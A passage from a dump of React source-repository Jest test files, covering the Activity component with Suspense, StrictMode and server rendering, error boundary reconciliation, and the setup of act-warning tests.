'hidden'}>\n          <span>\n            <Child />\n          </span>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('A');\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['A']);\n\n    await act(() => {\n      startTransition(() => {\n        setText('B');\n      });\n    });\n  });\n\n  test('updates at multiple priorities that suspend inside hidden tree', async () => {\n    let setText;\n    let setStep;\n    function Child() {\n      const [text, _setText] = useState('A');\n      setText = _setText;\n\n      const [step, _setStep] = useState(0);\n      setStep = _setStep;\n\n      return <AsyncText text={text + step} />;\n    }\n\n    function App({show}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          <span>\n            <Child />\n          </span>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('A0');\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['A0']);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);\n\n    await act(() => {\n      React.startTransition(() => {\n        setStep(1);\n      });\n      ReactNoop.flushSync(() => {\n        setText('B');\n      });\n    });\n    assertLog([\n      // The high priority render suspends again\n      'Suspend! [B0]',\n      // There's still pending work in another lane, so we should attempt\n      // that, too.\n      'Suspend! [B1]',\n    ]);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);\n\n    // Resolve the data and finish rendering\n    await act(() => {\n      resolveText('B1');\n    });\n    assertLog(['B1']);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>B1</span>);\n  });\n\n  test('detect updates to a hidden tree during a concurrent event', async () => {\n    // This is a pretty complex test case. It relates to how we detect if an\n    // update is made to a hidden tree: when scheduling the update, we walk up\n    // the fiber return path to see if any of the parents is a hidden Activity\n    // component. This doesn't work if there's already a render in progress,\n    // because the tree might be about to flip to hidden. To avoid a data race,\n    // queue updates atomically: wait to queue the update until after the\n    // current render has finished.\n\n    let setInner;\n    function Child({outer}) {\n      const [inner, _setInner] = useState(0);\n      setInner = _setInner;\n\n      useEffect(() => {\n        // Inner and outer values are always updated simultaneously, so they\n        // should always be consistent.\n        if (inner !== outer) {\n          Scheduler.log('Tearing! Inner and outer are inconsistent!');\n        } else {\n          Scheduler.log('Inner and outer are consistent');\n        }\n      }, [inner, outer]);\n\n      return <Text text={'Inner: ' + inner} />;\n    }\n\n    let setOuter;\n    function App({show}) {\n      const [outer, _setOuter] = useState(0);\n      setOuter = _setOuter;\n      return (\n        <>\n          <Activity mode={show ? 'visible' : 'hidden'}>\n            <span>\n              <Child outer={outer} />\n            </span>\n          </Activity>\n          <span>\n            <Text text={'Outer: ' + outer} />\n          </span>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <span>\n              <Text text={'Sibling: ' + outer} />\n            </span>\n          </Suspense>\n        </>\n      );\n    }\n\n    // Render a hidden tree\n    const root = ReactNoop.createRoot();\n    resolveText('Async: 0');\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog([\n      'Inner: 0',\n      'Outer: 0',\n      'Sibling: 0',\n      'Inner and outer are consistent',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Inner: 0</span>\n        <span>Outer: 0</span>\n        <span>Sibling: 0</span>\n      </>,\n    );\n\n    await act(async () => {\n      // Update a value both inside and outside the hidden tree. These values\n      // must always be consistent.\n      startTransition(() => {\n        setOuter(1);\n        setInner(1);\n        // In the same render, also hide the offscreen tree.\n        root.render(<App show={false} />);\n      });\n\n      await waitFor([\n        // The outer update will commit, but the inner update is deferred until\n        // a later render.\n        'Outer: 1',\n      ]);\n\n      // Assert that we haven't committed quite yet\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Inner: 0</span>\n          <span>Outer: 0</span>\n          <span>Sibling: 0</span>\n        </>,\n      );\n\n      // Before the tree commits, schedule a concurrent event. The inner update\n      // is to a tree that's just about to be hidden.\n      startTransition(() => {\n        setOuter(2);\n        setInner(2);\n      });\n\n      // Finish rendering and commit the in-progress render.\n      await waitForPaint(['Sibling: 1']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true}>Inner: 0</span>\n          <span>Outer: 1</span>\n          <span>Sibling: 1</span>\n        </>,\n      );\n\n      // Now reveal the hidden tree at high priority.\n      ReactNoop.flushSync(() => {\n        root.render(<App show={true} />);\n      });\n      assertLog([\n        // There are two pending updates on Inner, but only the first one\n        // is processed, even though they share the same lane. If the second\n        // update were erroneously processed, then Inner would be inconsistent\n        // with Outer.\n        'Inner: 1',\n        'Outer: 1',\n        'Sibling: 1',\n        'Inner and outer are consistent',\n      ]);\n    });\n    assertLog([\n      'Inner: 2',\n      'Outer: 2',\n      'Sibling: 2',\n      'Inner and outer are consistent',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Inner: 2</span>\n        <span>Outer: 2</span>\n        <span>Sibling: 2</span>\n      </>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ActivityReactServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet act;\nlet Activity;\nlet React;\nlet ReactServer;\nlet ReactNoop;\nlet ReactNoopFlightClient;\nlet ReactNoopFlightServer;\n\ndescribe('ActivityReactServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    Activity = ReactServer.Activity;\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n\n    jest.resetModules();\n    __unmockReact();\n    React = require('react');\n    ReactNoopFlightClient = require('react-noop-renderer/flight-client');\n    ReactNoop = require('react-noop-renderer');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  it('can be rendered in React Server', async () => {\n    function App() {\n      return ReactServer.createElement(\n        Activity,\n        {mode: 'hidden'},\n        ReactServer.createElement('div', null, 'Hello, Dave!'),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(App, null),\n    );\n\n    await act(async () => {\n      const app = await ReactNoopFlightClient.read(transport);\n\n      ReactNoop.render(app);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div hidden={true}>Hello, Dave!</div>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ActivityStrictMode-test.js",
    "content": "let React;\nlet Activity;\nlet ReactNoop;\nlet act;\nlet log;\n\ndescribe('Activity StrictMode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    log = [];\n\n    React = require('react');\n    Activity = React.Activity;\n    ReactNoop = require('react-noop-renderer');\n    act = require('internal-test-utils').act;\n  });\n\n  function Component({label}) {\n    React.useEffect(() => {\n      log.push(`${label}: useEffect mount`);\n      return () => log.push(`${label}: useEffect unmount`);\n    });\n\n    React.useLayoutEffect(() => {\n      log.push(`${label}: useLayoutEffect mount`);\n      return () => log.push(`${label}: useLayoutEffect unmount`);\n    });\n\n    log.push(`${label}: render`);\n\n    return <span>label</span>;\n  }\n\n  // @gate __DEV__\n  it('should trigger strict effects when offscreen is visible', async () => {\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"visible\">\n            <Component label=\"A\" />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual([\n      'A: render',\n      'A: render',\n      'A: useLayoutEffect mount',\n      'A: useEffect mount',\n      'A: useLayoutEffect unmount',\n      'A: useEffect unmount',\n      'A: useLayoutEffect mount',\n      'A: useEffect mount',\n    ]);\n  });\n\n  // @gate __DEV__\n  it('should not trigger strict effects when offscreen is hidden', async () => {\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"hidden\">\n            <Component label=\"A\" />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['A: render', 'A: render']);\n\n    log = [];\n\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"hidden\">\n            <Component label=\"A\" />\n            <Component label=\"B\" />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['A: render', 'A: render', 'B: render', 'B: render']);\n\n    log = [];\n\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"visible\">\n            <Component label=\"A\" />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual([\n      'A: render',\n      'A: render',\n      'A: useLayoutEffect mount',\n      'A: useEffect mount',\n      'A: useLayoutEffect unmount',\n      'A: useEffect unmount',\n      'A: useLayoutEffect mount',\n      'A: useEffect mount',\n    ]);\n\n    log = [];\n\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"hidden\">\n            <Component label=\"A\" />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual([\n      'A: useLayoutEffect unmount',\n      'A: useEffect unmount',\n      'A: render',\n      'A: render',\n    ]);\n  });\n\n  it('should not cause infinite render loop when StrictMode is used with Suspense and synchronous set states', async () => {\n    // This is a regression test, see https://github.com/facebook/react/pull/25179 for more details.\n    function App() {\n      const [state, setState] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        setState(true);\n      }, []);\n\n      React.useEffect(() => {\n        // Empty useEffect with empty dependency array is needed to trigger infinite render loop.\n      }, []);\n\n      return state;\n    }\n\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <React.Suspense>\n            <App />\n          </React.Suspense>\n        </React.StrictMode>,\n      );\n    });\n  });\n\n  // @gate __DEV__\n  it('should double invoke effects on unsuspended child', async () => {\n    let shouldSuspend = true;\n    let resolve;\n    const suspensePromise = new Promise(_resolve => {\n      resolve = _resolve;\n    });\n\n    function Parent() {\n      log.push('Parent rendered');\n      React.useEffect(() => {\n        log.push('Parent mount');\n        return () => {\n          log.push('Parent unmount');\n        };\n      });\n\n      return (\n        <React.Suspense fallback=\"fallback\">\n          <Child />\n        </React.Suspense>\n      );\n    }\n\n    function Child() {\n      log.push('Child rendered');\n      React.useEffect(() => {\n        log.push('Child mount');\n        return () => {\n          log.push('Child unmount');\n        };\n      });\n      if (shouldSuspend) {\n        log.push('Child suspended');\n        throw suspensePromise;\n      }\n      return null;\n    }\n\n    await act(() => {\n      ReactNoop.render(\n        <React.StrictMode>\n          <Activity mode=\"visible\">\n            <Parent />\n          </Activity>\n        </React.StrictMode>,\n      );\n    });\n\n    log.push('------------------------------');\n\n    await act(() => {\n      resolve();\n      shouldSuspend = false;\n    });\n\n    expect(log).toEqual([\n      'Parent rendered',\n      'Parent rendered',\n      'Child rendered',\n      'Child suspended',\n      'Parent mount',\n      'Parent unmount',\n      'Parent mount',\n      // pre-warming\n      'Child rendered',\n      'Child suspended',\n      // end pre-warming\n      '------------------------------',\n      'Child rendered',\n      'Child rendered',\n      'Child mount',\n      'Child unmount',\n      'Child mount',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ActivitySuspense-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet LegacyHidden;\nlet Activity;\nlet Suspense;\nlet useState;\nlet useEffect;\nlet startTransition;\nlet textCache;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\nlet use;\n\ndescribe('Activity Suspense', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    LegacyHidden = React.unstable_LegacyHidden;\n    Activity = React.Activity;\n    Suspense = React.Suspense;\n    useState = React.useState;\n    useEffect = React.useEffect;\n    startTransition = React.startTransition;\n    use = React.use;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const resolve = record.resolve;\n      record.status = 'resolved';\n      record.value = text;\n      resolve();\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          return use(record.value);\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      let resolve;\n      const promise = new Promise(_resolve => {\n        resolve = _resolve;\n      });\n\n      const newRecord = {\n        status: 'pending',\n        value: promise,\n        resolve,\n      };\n      textCache.set(text, newRecord);\n\n      return use(promise);\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('basic example of suspending inside hidden tree', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text=\"Visible\" />\n          </span>\n          <Activity mode=\"hidden\">\n            <span>\n              <AsyncText text=\"Hidden\" />\n            </span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // The hidden tree hasn't finished loading, but we should still be able to\n    // show the surrounding contents. The outer Suspense boundary\n    // isn't affected.\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Visible', 'Suspend! [Hidden]']);\n    expect(root).toMatchRenderedOutput(<span>Visible</span>);\n\n    // When the data resolves, we should be able to finish prerendering\n    // the hidden tree.\n    await act(async () => {\n      await resolveText('Hidden');\n    });\n    assertLog(['Hidden']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Visible</span>\n        <span hidden={true}>Hidden</span>\n      </>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  test('LegacyHidden does not handle suspense', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text=\"Visible\" />\n          </span>\n          <LegacyHidden mode=\"hidden\">\n            <span>\n              <AsyncText text=\"Hidden\" />\n            </span>\n          </LegacyHidden>\n        </Suspense>\n      );\n    }\n\n    // Unlike Activity, LegacyHidden never captures if something suspends\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Visible', 'Suspend! [Hidden]', 'Loading...']);\n    // Nearest Suspense boundary switches to a fallback even though the\n    // suspended content is hidden.\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>Visible</span>\n        Loading...\n      </>,\n    );\n  });\n\n  // @gate __DEV__\n  test('Regression: Suspending on hide should not infinite loop.', async () => {\n    // This regression only repros in public act.\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n    const root = ReactNoop.createRoot();\n\n    let setMode;\n    function Container({text}) {\n      const [mode, _setMode] = React.useState('visible');\n      setMode = _setMode;\n      useEffect(() => {\n        return () => {\n          Scheduler.log(`Clear [${text}]`);\n          textCache.delete(text);\n        };\n      });\n      return (\n        //$FlowFixMe\n        <Suspense fallback=\"Loading\">\n          <Activity mode={mode}>\n            <AsyncText text={text} />\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    await React.act(() => {\n      root.render(<Container text=\"hello\" />);\n    });\n    assertLog([\n      'Suspend! [hello]',\n      // pre-warming\n      'Suspend! [hello]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading');\n\n    await React.act(async () => {\n      await resolveText('hello');\n    });\n    assertLog(['hello']);\n    expect(root).toMatchRenderedOutput('hello');\n\n    await React.act(() => {\n      setMode('hidden');\n    });\n    assertLog(['Clear [hello]', 'Suspend! [hello]']);\n    expect(root).toMatchRenderedOutput('');\n  });\n\n  test(\"suspending inside currently hidden tree that's switching to visible\", async () => {\n    const root = ReactNoop.createRoot();\n\n    function Details({open, children}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text={open ? 'Open' : 'Closed'} />\n          </span>\n          <Activity mode={open ? 'visible' : 'hidden'}>\n            <span>{children}</span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // The hidden tree hasn't finished loading, but we should still be able to\n    // show the surrounding contents. It doesn't matter that there's no\n    // Suspense boundary because the unfinished content isn't visible.\n    await act(() => {\n      root.render(\n        <Details open={false}>\n          <AsyncText text=\"Async\" />\n        </Details>,\n      );\n    });\n    assertLog(['Closed', 'Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(<span>Closed</span>);\n\n    // But when we switch the boundary from hidden to visible, it should\n    // now bubble to the nearest Suspense boundary.\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={true}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    assertLog([\n      'Open',\n      'Suspend! [Async]',\n      // pre-warming\n      'Loading...',\n    ]);\n    // It should suspend with delay to prevent the already-visible Suspense\n    // boundary from switching to a fallback\n    expect(root).toMatchRenderedOutput(<span>Closed</span>);\n\n    // Resolve the data and finish rendering\n    await act(async () => {\n      await resolveText('Async');\n    });\n    assertLog([\n      // pre-warming\n      'Open',\n      // end pre-warming\n      'Async',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>Async</span>\n      </>,\n    );\n  });\n\n  test(\"suspending inside currently visible tree that's switching to hidden\", async () => {\n    const root = ReactNoop.createRoot();\n\n    function Details({open, children}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text={open ? 'Open' : 'Closed'} />\n          </span>\n          <Activity mode={open ? 'visible' : 'hidden'}>\n            <span>{children}</span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // Initial mount. Nothing suspends\n    await act(() => {\n      root.render(\n        <Details open={true}>\n          <Text text=\"(empty)\" />\n        </Details>,\n      );\n    });\n    assertLog(['Open', '(empty)']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>(empty)</span>\n      </>,\n    );\n\n    // Update that suspends inside the currently visible tree\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={true}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    assertLog([\n      'Open',\n      'Suspend! [Async]',\n      // pre-warming\n      'Loading...',\n    ]);\n    // It should suspend with delay to prevent the already-visible Suspense\n    // boundary from switching to a fallback\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>(empty)</span>\n      </>,\n    );\n\n    // Update that hides the suspended tree\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={false}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    // Now the visible part of the tree can commit without being blocked\n    // by the suspended content, which is hidden.\n    assertLog(['Closed', 'Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Closed</span>\n        <span hidden={true}>(empty)</span>\n      </>,\n    );\n\n    // Resolve the data and finish rendering\n    await act(async () => {\n      await resolveText('Async');\n    });\n    assertLog(['Async']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Closed</span>\n        <span hidden={true}>Async</span>\n      </>,\n    );\n  });\n\n  test('update that suspends inside hidden tree', async () => {\n    let setText;\n    function Child() {\n      const [text, _setText] = useState('A');\n      setText = _setText;\n      return <AsyncText text={text} />;\n    }\n\n    function App({show}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          <span>\n            <Child />\n          </span>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('A');\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['A']);\n\n    await act(() => {\n      startTransition(() => {\n        setText('B');\n      });\n    });\n  });\n\n  test('updates at multiple priorities that suspend inside hidden tree', async () => {\n    let setText;\n    let setStep;\n    function Child() {\n      const [text, _setText] = useState('A');\n      setText = _setText;\n\n      const [step, _setStep] = useState(0);\n      setStep = _setStep;\n\n      return <AsyncText text={text + step} />;\n    }\n\n    function App({show}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          <span>\n            <Child />\n          </span>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('A0');\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    assertLog(['A0']);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);\n\n    await act(() => {\n      React.startTransition(() => {\n        setStep(1);\n      });\n      ReactNoop.flushSync(() => {\n        setText('B');\n      });\n    });\n    assertLog([\n      // The high priority render suspends again\n      'Suspend! [B0]',\n      // There's still pending work in another lane, so we should attempt\n      // that, too.\n      'Suspend! [B1]',\n    ]);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);\n\n    // Resolve the data and finish rendering\n    await act(() => {\n      resolveText('B1');\n    });\n    assertLog(['B1']);\n    expect(root).toMatchRenderedOutput(<span hidden={true}>B1</span>);\n  });\n\n  test('detect updates to a hidden tree during a concurrent event', async () => {\n    // This is a pretty complex test case. It relates to how we detect if an\n    // update is made to a hidden tree: when scheduling the update, we walk up\n    // the fiber return path to see if any of the parents is a hidden Activity\n    // component. This doesn't work if there's already a render in progress,\n    // because the tree might be about to flip to hidden. To avoid a data race,\n    // queue updates atomically: wait to queue the update until after the\n    // current render has finished.\n\n    let setInner;\n    function Child({outer}) {\n      const [inner, _setInner] = useState(0);\n      setInner = _setInner;\n\n      useEffect(() => {\n        // Inner and outer values are always updated simultaneously, so they\n        // should always be consistent.\n        if (inner !== outer) {\n          Scheduler.log('Tearing! Inner and outer are inconsistent!');\n        } else {\n          Scheduler.log('Inner and outer are consistent');\n        }\n      }, [inner, outer]);\n\n      return <Text text={'Inner: ' + inner} />;\n    }\n\n    let setOuter;\n    function App({show}) {\n      const [outer, _setOuter] = useState(0);\n      setOuter = _setOuter;\n      return (\n        <>\n          <Activity mode={show ? 'visible' : 'hidden'}>\n            <span>\n              <Child outer={outer} />\n            </span>\n          </Activity>\n          <span>\n            <Text text={'Outer: ' + outer} />\n          </span>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <span>\n              <Text text={'Sibling: ' + outer} />\n            </span>\n          </Suspense>\n        </>\n      );\n    }\n\n    // Render a hidden tree\n    const root = ReactNoop.createRoot();\n    resolveText('Async: 0');\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog([\n      'Inner: 0',\n      'Outer: 0',\n      'Sibling: 0',\n      'Inner and outer are consistent',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Inner: 0</span>\n        <span>Outer: 0</span>\n        <span>Sibling: 0</span>\n      </>,\n    );\n\n    await act(async () => {\n      // Update a value both inside and outside the hidden tree. These values\n      // must always be consistent.\n      startTransition(() => {\n        setOuter(1);\n        setInner(1);\n        // In the same render, also hide the offscreen tree.\n        root.render(<App show={false} />);\n      });\n\n      await waitFor([\n        // The outer update will commit, but the inner update is deferred until\n        // a later render.\n        'Outer: 1',\n      ]);\n\n      // Assert that we haven't committed quite yet\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Inner: 0</span>\n          <span>Outer: 0</span>\n          <span>Sibling: 0</span>\n        </>,\n      );\n\n      // Before the tree commits, schedule a concurrent event. The inner update\n      // is to a tree that's just about to be hidden.\n      startTransition(() => {\n        setOuter(2);\n        setInner(2);\n      });\n\n      // Finish rendering and commit the in-progress render.\n      await waitForPaint(['Sibling: 1']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span hidden={true}>Inner: 0</span>\n          <span>Outer: 1</span>\n          <span>Sibling: 1</span>\n        </>,\n      );\n\n      // Now reveal the hidden tree at high priority.\n      ReactNoop.flushSync(() => {\n        root.render(<App show={true} />);\n      });\n      assertLog([\n        // There are two pending updates on Inner, but only the first one\n        // is processed, even though they share the same lane. If the second\n        // update were erroneously processed, then Inner would be inconsistent\n        // with Outer.\n        'Inner: 1',\n        'Outer: 1',\n        'Sibling: 1',\n        'Inner and outer are consistent',\n      ]);\n    });\n    assertLog([\n      'Inner: 2',\n      'Outer: 2',\n      'Sibling: 2',\n      'Inner and outer are consistent',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Inner: 2</span>\n        <span>Outer: 2</span>\n        <span>Sibling: 2</span>\n      </>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ErrorBoundaryReconciliation-test.internal.js",
    "content": "describe('ErrorBoundaryReconciliation', () => {\n  let BrokenRender;\n  let DidCatchErrorBoundary;\n  let GetDerivedErrorBoundary;\n  let React;\n  let ReactTestRenderer;\n  let span;\n  let act;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactTestRenderer = require('react-test-renderer');\n    React = require('react');\n    act = require('internal-test-utils').act;\n    DidCatchErrorBoundary = class extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        return this.state.error\n          ? React.createElement(this.props.fallbackTagName, {\n              prop: 'ErrorBoundary',\n            })\n          : this.props.children;\n      }\n    };\n\n    GetDerivedErrorBoundary = class extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        return this.state.error\n          ? React.createElement(this.props.fallbackTagName, {\n              prop: 'ErrorBoundary',\n            })\n          : this.props.children;\n      }\n    };\n\n    const InvalidType = undefined;\n    BrokenRender = ({fail}) =>\n      fail ? <InvalidType /> : <span prop=\"BrokenRender\" />;\n  });\n\n  async function sharedTest(ErrorBoundary, fallbackTagName) {\n    let renderer;\n\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <ErrorBoundary fallbackTagName={fallbackTagName}>\n          <BrokenRender fail={false} />\n        </ErrorBoundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(renderer).toMatchRenderedOutput(<span prop=\"BrokenRender\" />);\n    await act(() => {\n      renderer.update(\n        <ErrorBoundary fallbackTagName={fallbackTagName}>\n          <BrokenRender fail={true} />\n        </ErrorBoundary>,\n      );\n    });\n\n    const Fallback = fallbackTagName;\n    expect(renderer).toMatchRenderedOutput(<Fallback prop=\"ErrorBoundary\" />);\n  }\n\n  it('componentDidCatch can recover by rendering an element of the same type', () =>\n    sharedTest(DidCatchErrorBoundary, 'span'));\n\n  it('componentDidCatch can recover by rendering an element of a different type', () =>\n    sharedTest(DidCatchErrorBoundary, 'div'));\n\n  it('getDerivedStateFromError can recover by rendering an element of the same type', () =>\n    sharedTest(GetDerivedErrorBoundary, 'span'));\n\n  it('getDerivedStateFromError can recover by rendering an element of a different type', () =>\n    sharedTest(GetDerivedErrorBoundary, 'div'));\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactActWarnings-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\nlet React;\nlet Scheduler;\nlet waitForAll;\nlet assertLog;\nlet ReactNoop;\nlet useState;\nlet act;\nlet Suspense;\nlet startTransition;\nlet getCacheForType;\nlet caches;\nlet assertConsoleErrorDev;\n\n// These tests are mostly concerned with concurrent roots. The legacy root\n// behavior is covered by other older test suites and is unchanged from\n// React 17.\ndescribe('act warnings', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Scheduler = require('scheduler');\n    ReactNoop = require('react-noop-renderer');\n    act = React.act;\n    useState = React.useState;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n    getCacheForType = React.unstable_getCacheForType;\n    caches = [];\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function createTextCache() {\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  